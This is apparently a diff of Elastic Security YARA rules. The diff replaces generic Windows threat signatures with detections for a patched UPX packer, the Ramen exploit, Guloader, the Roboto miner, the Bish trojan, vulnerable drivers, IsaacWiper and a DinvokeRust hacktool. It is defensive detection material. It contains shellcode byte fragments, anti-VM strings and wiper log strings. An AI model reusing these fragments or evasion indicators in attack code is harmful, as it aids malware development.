+		description = "Detects Linux Packer Patched_Upx (Linux.Packer.Patched_UPX)"
 		author = "Elastic Security"
-		id = "347f9f54-b9a6-4d40-9627-d3cef78f13eb"
-		date = "2023-12-18"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L202-L220"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "45a051651ce1edddd33ecef09bb0fbb978adec9044e64f786b13ed81cabf6a3f"
-		logic_hash = "63df388393a45ffec68ba01ae6d7707b6d5277e0162ded6e631c1f76ad76b711"
+		id = "62e11c64-fc7d-4a0a-9d72-ad53ec3987ff"
+		date = "2021-06-08"
+		modified = "2021-07-28"
+		reference = "https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Packer_Patched_UPX.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669"
+		logic_hash = "cb576fdd59c255234a96397460b81cbb2deeb38befaed101749b7bb515624028"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "860f951db43fa3389c5057f7329b5d13d9347b6e04e1363dd0a8060d5a131991"
-		severity = 50
+		tags = "FILE"
+		fingerprint = "3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d"
+		severity = 60
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 EC 10 FF 75 0C 80 65 FC 00 8D 45 F0 C6 45 F0 43 50 C6 45 F1 6F FF 75 08 C6 45 F2 6E C6 45 F3 6E C6 45 F4 65 C6 45 F5 63 C6 45 F6 74 C6 45 F7 47 C6 45 F8 72 C6 45 F9 6F C6 45 FA 75 }
+		$a = { 55 50 58 21 [4] 00 00 00 00 00 00 00 00 00 00 00 00 }
 
 	condition:
-		all of them
+		all of them and $a in (0..255)
 }
-rule ELASTIC_Windows_Generic_Threat_20469956 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Ramen_01B205Eb : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Exploit Ramen (Linux.Exploit.Ramen)"
 		author = "Elastic Security"
-		id = "20469956-1be6-48e8-b3c4-5706f9630971"
-		date = "2023-12-18"
-		modified = "2024-01-12"
+		id = "01b205eb-4718-4ffd-9fdc-b9de567c4603"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L222-L240"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a1f2923f68f5963499a64bfd0affe0a729f5e7bd6bcccfb9bed1d62831a93c47"
-		logic_hash = "da351bec0039a32bb9de1d8623ab3dc26eb752d30a64e613de96f70e1b1c2463"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Ramen.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0b6303300f38013840abe17abe192db6a99ace78c83bc7ef705f5c568bc98fd"
+		logic_hash = "e477e93434db9e650f159995f2cb754394f3187dc341d2ea4c2466924e19a8a6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "67cec754102e3675b4e72ff4826c40614e4856b9cbf12489de3406318990fc85"
-		severity = 50
+		fingerprint = "a39afcf7cec82dc511fd39b4a019ef161250afe7cb0880e488badb56d021cc9f"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 E4 F8 83 EC 5C 53 56 33 C0 C7 44 24 18 6B 00 6C 00 57 8D 4C 24 1C C7 44 24 20 69 00 66 00 C7 44 24 24 2E 00 73 00 C7 44 24 28 79 00 73 00 66 89 44 24 2C C7 44 24 0C 6B 00 6C 00 C7 }
+		$a = { 00 31 C0 31 DB 31 C9 B0 46 CD 80 31 C0 31 DB 43 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_742E8A70 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_ATSZIO_E22Cc429 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Name: ATSZIO.sys"
 		author = "Elastic Security"
-		id = "742e8a70-c150-4903-a551-9123587dd473"
-		date = "2023-12-18"
-		modified = "2024-01-12"
+		id = "e22cc429-0285-4ab1-ae35-7e905e467182"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L242-L260"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "94f7678be47651aa457256375f3e4d362ae681a9524388c97dc9ed34ba881090"
-		logic_hash = "2925eb8da80ef791b5cf7800a9bf9462203ab6aa743bc69f4fd2343e97eaab7c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_ATSZIO.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece"
+		logic_hash = "e3f057d5a5c47a1f3b4d50e2ad0ebb3a4ffe0efe513a0d375f827fadb3328d80"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "733b3563275da0a1b4781b9c0aa07e6e968133ae099eddef9cad3793334b9aa5"
+		tags = "FILE"
+		fingerprint = "21cf1d00acde85bdae8c4cf6d59b0d224458de30a32dbddebd99eab48e1126bb"
+		threat_name = "Windows.VulnDriver.ATSZIO"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC E8 96 FF FF FF E8 85 0D 00 00 83 7D 08 00 A3 A4 E9 43 00 74 05 E8 0C 0D 00 00 DB E2 5D C3 8B FF 55 8B EC 83 3D B0 E9 43 00 02 74 05 E8 BA 12 00 00 FF 75 08 E8 07 11 00 00 68 FF 00 00 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 41 00 54 00 53 00 5A 00 49 00 4F 00 2E 00 73 00 79 00 73 00 00 00 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Windows_Generic_Threat_79174B5C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Guloader_8F10Fa66 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Guloader (Windows.Trojan.Guloader)"
 		author = "Elastic Security"
-		id = "79174b5c-bc1d-40b2-b2e9-f3ddd3ba226c"
-		date = "2023-12-18"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L262-L280"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c15118230059e85e7a6b65fe1c0ceee8997a3d4e9f1966c8340017a41e0c254c"
-		logic_hash = "06a2f0613719f1273a6b3f62f248c22b1cab2fe6054904619e3720f3f6c55e2e"
+		id = "8f10fa66-a24b-4cc2-b9e0-11be14aba9af"
+		date = "2021-08-17"
+		modified = "2021-10-04"
+		reference = "https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Guloader.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a3e2d5013b80cd2346e37460753eca4a4fec3a7941586cc26e049a463277562e"
+		logic_hash = "f2cd08f6a32c075dc0294a0e26c51e686babc54ced4faa1873368c8821f0bfef"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1e709e5cb8302ea19f9ee93e88f7f910f4271cf1ea2a6c92946fa26f68c63f4d"
-		severity = 50
+		fingerprint = "5841d70a38d4620c446427c80ca12b5e918f23e90c5288854943b0240958bcfb"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 48 56 57 6A 0F 33 C0 59 8D 7D B9 F3 AB 8B 75 0C 6A 38 66 AB 8B 4E 14 AA 8B 46 10 89 4D FC 89 45 F8 59 C1 E8 03 83 E0 3F C6 45 B8 80 3B C1 72 03 6A 78 59 2B C8 8D 45 B8 51 50 56 }
+		$a1 = "msvbvm60.dll" wide fullword
+		$a2 = "C:\\Program Files\\qga\\qga.exe" ascii fullword
+		$a3 = "C:\\Program Files\\Qemu-ga\\qemu-ga.exe" ascii fullword
+		$a4 = "USERPROFILE=" wide fullword
+		$a5 = "Startup key" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_232B71A9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Guloader_C4D9Dd33 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Guloader (Windows.Trojan.Guloader)"
 		author = "Elastic Security"
-		id = "232b71a9-add2-492d-8b9a-ad2881826ecf"
-		date = "2023-12-20"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L282-L300"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1e8b34da2d675af96b34041d4e493e34139fc8779f806dbcf62a6c9c4d9980fe"
-		logic_hash = "c3bef1509c0d0172dbbc7e0e2b5c69e5ec47dc22365d98a914002b53b0f7d918"
+		id = "c4d9dd33-b7e7-4ff4-a2f3-62316d064f5a"
+		date = "2021-08-17"
+		modified = "2021-10-04"
+		reference = "https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Guloader.yar#L26-L45"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a3e2d5013b80cd2346e37460753eca4a4fec3a7941586cc26e049a463277562e"
+		logic_hash = "623ea751fc32648720bda40598024d4d5b6a9a11b3cce3c9427310ba17745643"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "908e2a968e544dfb08a6667f78c92df656c7f2c5cf329dbba6cfdb5ea7b51a57"
-		severity = 50
+		fingerprint = "53a2d6f895cdd1a6384a55756711d9d758b3b20dd0b87d62a89111fd1a20d1d6"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 61 61 62 63 64 65 65 66 67 68 69 69 6A 6B 6C 6D 6E 6F 6F 70 71 72 73 74 75 75 76 77 78 79 7A 61 55 }
+		$a1 = "This program cannot be run under virtual environment or debugging software !" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_D331D190 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Guloader_2F1E44C8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Guloader (Windows.Trojan.Guloader)"
 		author = "Elastic Security"
-		id = "d331d190-2b66-499e-be08-fed81e5bb5f1"
-		date = "2023-12-20"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L302-L320"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6d869d320d977f83aa3f0e7719967c7e54c1bdae9ae3729668d755ee3397a96f"
-		logic_hash = "901601c892d709fa596c44df1fbe7772a9f20576c71666570713bf96727a809b"
+		id = "2f1e44c8-f269-4cd6-a516-8d9282ddcfbc"
+		date = "2023-10-30"
+		modified = "2023-11-02"
+		reference = "https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Guloader.yar#L47-L70"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99"
+		logic_hash = "434b33c3fdc6bf4b0f59cd4aba66327d0b7ab524be603b256494d46b609cecd5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "504c204dd82689bacf3875b9fd56a6a865426f3dc76de1d6d6e40c275b069d66"
-		severity = 50
+		fingerprint = "b00255f8d7ce460ffc778e96f6101db753e8992d36ee75a25b48e32ac7817c58"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 83 FA 03 74 04 85 D2 75 05 E8 EE 08 00 00 B8 01 00 00 00 48 83 C4 28 C3 CC CC CC CC 56 57 48 83 EC 38 48 89 CE 8B 01 FF C8 83 F8 05 77 12 48 98 48 8D 0D D1 49 00 00 48 63 3C 81 48 }
+		$djb2_str_compare = { 83 C0 08 83 3C 04 00 0F 84 [4] 39 14 04 75 }
+		$check_exception = { 8B 45 ?? 8B 00 38 EC 8B 58 ?? 84 FD 81 38 05 00 00 C0 }
+		$parse_mem = { 18 00 10 00 00 83 C0 18 50 83 E8 04 81 00 00 10 00 00 50 }
+		$hw_bp = { 39 48 0C 0F 85 [4] 39 48 10 0F 85 [4] 39 48 14 0F 85 [7] 39 48 18 }
+		$scan_protection = { 39 ?? 14 8B [5] 0F 84 }
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Windows_Generic_Threat_24191082 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Roboto_0B6807F8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Roboto (Linux.Cryptominer.Roboto)"
 		author = "Elastic Security"
-		id = "24191082-58a7-4d1e-88d2-b4935ba5a868"
-		date = "2023-12-20"
-		modified = "2024-01-12"
+		id = "0b6807f8-49c1-485f-9233-1a14f98935bc"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L322-L340"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4d20878c16d2b401e76d8e7c288cf8ef5aa3c8d4865f440ee6b44d9f3d0cbf33"
-		logic_hash = "a5ea76032a9c189f923d91cd03deb44bd61868e5ad6081afe63249156cbd8927"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Roboto.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c2542e399f865b5c490ee66b882f5ff246786b3f004abb7489ec433c11007dda"
+		logic_hash = "d945c7a23b9f435851f3c998231da615e220c259051cf213186c28f3279be1dd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6bf991b391b79e897fe7964499e7e86b7b8fe4f40cf17abba85cb861e840e082"
-		severity = 50
+		fingerprint = "65f373b6e820c2a1fa555182b8e4547bf5853326bdf3746c7592d018dc2ed89f"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 8B 45 0C 48 F7 D0 23 45 08 5D C3 55 8B EC 51 8B 45 0C 48 23 45 08 74 15 FF 75 0C FF 75 08 E8 DA FF FF FF 59 59 03 45 0C 89 45 FC EB 06 8B 45 08 89 45 FC 8B 45 FC 8B E5 5D C3 55 8B EC }
+		$a = { FB 49 89 CF 4D 0F AF FC 4D 01 DF 4D 89 CB 4C 0F AF D8 4D 01 FB 4D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Efdb9E81 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Roboto_1F1Cfe9A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Roboto (Linux.Cryptominer.Roboto)"
 		author = "Elastic Security"
-		id = "efdb9e81-9004-426e-b599-331560b7f0ff"
-		date = "2024-01-01"
-		modified = "2024-01-12"
+		id = "1f1cfe9a-ab4a-423c-a62b-ead6901e2a86"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L342-L361"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1c3302b14324c9f4e07829f41cd767ec654db18ff330933c6544c46bd19e89dd"
-		logic_hash = "eae78b07f6c31e3a30ae041a27c67553bb8ea915bc7724583d78832475021955"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Roboto.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "497a6d426ff93d5cd18cea623074fb209d4f407a02ef8f382f089f1ed3f108c5"
+		logic_hash = "2171284991b0019379c8d271013a35237c37bc2e13d807caed86f8fb9d2ba418"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ce1499c8adaad552c127ae80dad90a39eb15e1e461afe3266e8cd6961d3fde79"
-		severity = 50
+		fingerprint = "8dd9f4a091713b8992abd97474f66fdc7d34b0124f06022ab82942f88f3b330c"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 4D 61 78 69 6D 75 6D 43 68 65 63 6B 42 6F 78 53 69 7A 65 }
-		$a2 = { 56 69 73 75 61 6C 50 6C 75 73 2E 4E 61 74 69 76 65 }
+		$a = { 24 20 85 FF 74 0D 39 FE 73 13 83 FE 0F 77 0E 01 F6 EB F3 BF 01 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_34622A35 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bish_974B4B47 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Bish (Linux.Trojan.Bish)"
 		author = "Elastic Security"
-		id = "34622a35-9ddf-4091-8b0c-c9430ecea57c"
-		date = "2024-01-01"
-		modified = "2024-01-12"
+		id = "974b4b47-38cf-4460-8ff3-e066e5c8a5fc"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L363-L381"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c021c6adca0ddf38563a13066a652e4d97726175983854674b8dae2f6e59c83f"
-		logic_hash = "2b49bd5d3a18307a46f44d9dfeea858ddaa6084f86f96b83b874cee7603e1c11"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Bish.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9171fd2bbe182f0a3cd35937f3ee0076c9358f52f5bc047498dd9e233ae11757"
+		logic_hash = "c5a7d036c89fe50626da51486d19ee731ad28cbc8d36def075d8f33a7b68961f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "427762237cd1040bad58e9d9f7ad36c09134d899c5105e977f94933827c5d5e0"
-		severity = 50
+		fingerprint = "8858f99934e367b7489d60bfaa74ab57e2ae507a8c06fb29693197792f6f5069"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 81 EC 88 00 00 00 C7 45 FC 00 00 00 00 C7 45 F8 00 00 00 00 68 4C 00 00 00 E8 A3 42 00 00 83 C4 04 89 45 F4 8B D8 8B F8 33 C0 B9 13 00 00 00 F3 AB 83 C3 38 53 68 10 00 00 00 E8 82 42 }
+		$a = { 00 31 C0 31 DB 31 C9 B0 17 CD 80 31 C0 50 68 6E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_0Ff403Df : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Fidpci_Cb7F69B5 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Vulndriver Fidpci (Windows.VulnDriver.Fidpci)"
 		author = "Elastic Security"
-		id = "0ff403df-cf94-43f3-b8b0-b94068f333f1"
-		date = "2024-01-01"
-		modified = "2024-01-12"
+		id = "cb7f69b5-5421-493b-adf7-75130d19b001"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L383-L401"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b3119dc4cea05bef51d1f373b87d69bcff514f6575d4c92da4b1c557f8d8db8f"
-		logic_hash = "38bdd9b6f61ab4bb13abc7af94e92151928df95ade061756611218104e7245fd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Fidpci.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ac5e01689a3d745e60925bc7faca8d4306ae693e803b5e19c94906dc30add46"
+		logic_hash = "459429fb4e5156890f19c451e48676c9cd06eaab1c2eaea9236737c795086b5f"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "3e16fe70b069579a146682d2bbeeeead63c432166b269a6d3464463ccd2bd2f8"
+		tags = "FILE"
+		fingerprint = "19da3f67e302d0a70d40533553a19ba91a99a83609c01c8f296834a93fa325e2"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 81 EC 00 02 00 00 56 8B F1 57 C6 85 00 FF 63 C7 06 0C 22 41 00 0C 66 69 B6 66 01 7C 06 02 77 03 96 66 69 B6 7B 14 04 F2 05 6B 06 69 96 66 69 6F 07 C5 08 30 66 69 96 66 09 01 0A 67 0B }
+		$str1 = "\\fidpcidrv64.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Generic_Threat_B1F6F662 : FILE MEMORY
+rule ELASTIC_Windows_Wiper_Isaacwiper_239Cd2Dc : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Wiper Isaacwiper (Windows.Wiper.IsaacWiper)"
 		author = "Elastic Security"
-		id = "b1f6f662-ea77-4049-a58a-ed8a97d7738e"
-		date = "2024-01-01"
-		modified = "2024-01-12"
+		id = "239cd2dc-6f93-43fa-98e8-ad7a0edb8a8a"
+		date = "2022-03-04"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L403-L423"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1b7eaef3cf1bb8021a00df092c829932cccac333990db1c5dac6558a5d906400"
-		logic_hash = "e52ff1eaee00334e1a07367bf88f3907bb0b13035717683d9d98371b92bc45c0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Wiper_IsaacWiper.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
+		logic_hash = "102ffe215b1e1c39e1225cb39dfeb10a20a08c5b10f836490fc1501c6eb9e930"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f2cd22e34b4694f707ee9042805f5498ce66d35743950096271aaa170f44a2ee"
-		severity = 50
+		fingerprint = "a9c193d7c60b0c793c299b23f672d6428ceb229f2ceb2acbfc1124387954b244"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 67 65 74 5F 4D 53 56 61 6C 75 65 31 30 }
-		$a2 = { 73 65 74 5F 4D 53 56 61 6C 75 65 31 30 }
-		$a3 = { 67 65 74 5F 4D 53 56 61 6C 75 65 31 31 }
+		$a1 = "C:\\ProgramData\\log.txt" wide fullword
+		$a2 = "system physical drive -- FAILED" wide fullword
+		$a3 = "-- system logical drive: " wide fullword
+		$a4 = "start erasing system logical drive " wide fullword
+		$a5 = "-- logical drive: " wide fullword
+		$a6 = "-- start erasing logical drive " wide fullword
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Windows_Generic_Threat_2C80562D : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Dinvokerust_512D3B59 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Hacktool Dinvokerust (Windows.Hacktool.DinvokeRust)"
 		author = "Elastic Security"
-		id = "2c80562d-2377-43b2-864f-0f122530b85d"
-		date = "2024-01-01"
-		modified = "2024-01-12"
+		id = "512d3b59-6bd3-4716-aa5f-1541044bbf9a"
+		date = "2024-02-28"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L425-L445"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ee8decf1e8e5a927e3a6c10e88093bb4b7708c3fd542d98d43f1a882c6b0198e"
-		logic_hash = "07487ae646ac81b94f940c8d3493dbee023bce687297465fe09375f40dff0fb2"
